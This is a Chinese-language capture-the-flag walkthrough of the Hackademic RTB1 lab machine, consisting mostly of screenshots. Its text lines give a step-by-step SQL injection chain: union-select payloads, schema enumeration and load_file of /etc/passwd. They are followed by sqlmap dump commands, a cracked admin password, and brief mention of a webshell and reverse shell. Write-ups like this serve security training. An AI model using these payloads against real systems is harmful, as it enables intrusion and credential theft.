一、信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-39f94dd09a0e24c7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-a05401c11f7cec65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-04347dd2b3f9ff68.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-01cffad480fba9d7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-9335eca6c1e057e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-aa06a795e1ef6915.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-85b06d0167f6afcc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-07e1f6b959336156.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-1efbb027dbfe60fc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-3a349ee63e55d49e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1
![](https://upload-images.jianshu.io/upload_images/4664072-cf5c777e1656e32f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%27
![](https://upload-images.jianshu.io/upload_images/4664072-15889b10cb1e863e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20order%20by%201
![](https://upload-images.jianshu.io/upload_images/4664072-b32b2829cc2f5385.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20order%20by%206
![](https://upload-images.jianshu.io/upload_images/4664072-05c140775714b5c1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
![](https://upload-images.jianshu.io/upload_images/4664072-e96654909c268abb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20and%201=1%20union%20select%201,2,3,4,5
![](https://upload-images.jianshu.io/upload_images/4664072-c3ffcb12b0f24c54.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20and%201=2%20union%20select%201,2,3,4,5
![](https://upload-images.jianshu.io/upload_images/4664072-943f8b376a753774.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1%20and%201=2%20union%20select%201,@@version,3,4,5
![](https://upload-images.jianshu.io/upload_images/4664072-9770807d19f7e1a1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
![](https://upload-images.jianshu.io/upload_images/4664072-57ce6dd8053106ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.111.132/Hackademic_RTB1/?cat=1 and 1=2 union select 1,load_file(‘/etc/passwd’),3,4,5 from mysql.user
![](https://upload-images.jianshu.io/upload_images/4664072-897995663a096db1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
或者sqlmap
sqlmap -u http://192.168.111.132/Hackademic_RTB1/?cat=1 --dbs
![](https://upload-images.jianshu.io/upload_images/4664072-ede007f9f94aec2e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
sqlmap -u http://192.168.111.132/Hackademic_RTB1/?cat=1 --dbs --batch --dump
![](https://upload-images.jianshu.io/upload_images/4664072-60ab08b14d64f573.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-1bc8765991569aed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用md5进行解密
账户登录GeorgeMiller权限最高
GeorgeMiller q1w2e3
进入后台页面
![](https://upload-images.jianshu.io/upload_images/4664072-d83ae97450cade5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-34cf64e54bb7144e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
蚁剑连接并且反弹到kali
![](https://upload-images.jianshu.io/upload_images/4664072-8af77ed8bd0805ba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-67937e9d81aa041e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上传文件
![](https://upload-images.jianshu.io/upload_images/4664072-6e529f17f1cb21bf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
编译失败
![](https://upload-images.jianshu.io/upload_images/4664072-537e98f16587d9fc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
继续寻找
![](https://upload-images.jianshu.io/upload_images/4664072-181def9a3f002215.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-4a6bb5ef48bf7ddd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-cdee5b5447e9854a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)